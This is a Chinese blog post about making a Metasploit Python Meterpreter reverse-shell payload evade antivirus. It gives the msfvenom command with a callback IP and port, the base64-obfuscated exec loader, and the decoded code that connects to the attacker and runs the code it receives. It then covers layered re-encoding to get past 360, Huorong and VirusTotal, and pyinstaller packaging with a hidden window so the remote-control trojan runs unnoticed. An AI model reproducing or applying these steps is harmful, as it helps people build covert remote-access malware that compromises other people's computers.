介绍
上篇写了MSF的木马分析,今天就来实现一下免杀吧
开启免杀之路
昨天的java代码量太大了,几百行代码python就一行,所以今天用python的源码做免杀吧
1.生成一个python马:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.179.153 LPORT=7777 -f raw -o payload.py --platform python -a python
2.里面是这样的:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTc5LjE1MycsNzc3NykpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
3.解码以后是这样的:
import socket,zlib,base64,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('192.168.179.153',7777))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用
代码的大概意思就是
循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接
4.毫无疑问是有毒的:
5.代码免杀的思路就是加密、编码、混淆,其实很好做,静态的识别最好过,好到甚至给msf原本的马再套一层编码就能过了 我还加上了改了包名后再编码的 如下:
(1)编码后粘贴到msf马的后面
(2)再把这段全复制再编码一次
(3)得到的再粘贴到后面
(4)演示如下:
可以看到360和火绒没问题
py文件不报毒那基本没问题了
6.免杀做好以后就是打包exe了,要用到pyinstaller,可以用pip下载一下:
pyinstaller --hidden-import=code --hidden-import=imp -F -w payload7.py
说一下踩的坑,直接用-F打包会缺少一些模块,看了官方文档以后是要加上--hidden-import=模块名,另外-w参数是不显示黑框框,不要那么明显不然远控弹个框出来吓死人
演示:
可以看到360和火绒扫描是没问题的,运行以后是没有任何报毒和弹窗的,在任务管理器里可以看到进程,msf那边也收到了连接,msf退出后进程直接杀掉了,前面还可以用其他base家族其他的来加密,也能过
这个是我最初尝试的改动,编个码就能过太让人惊讶了,反正没改太多没花什么力气就扔到vt去检查了一下,我天只有卡巴斯基和以色列的一家,卡巴斯基真牛逼,给钱就是不一样,日后再研究研究云沙箱吧。
太强了淦
hsdragon 2023-03-02 16:17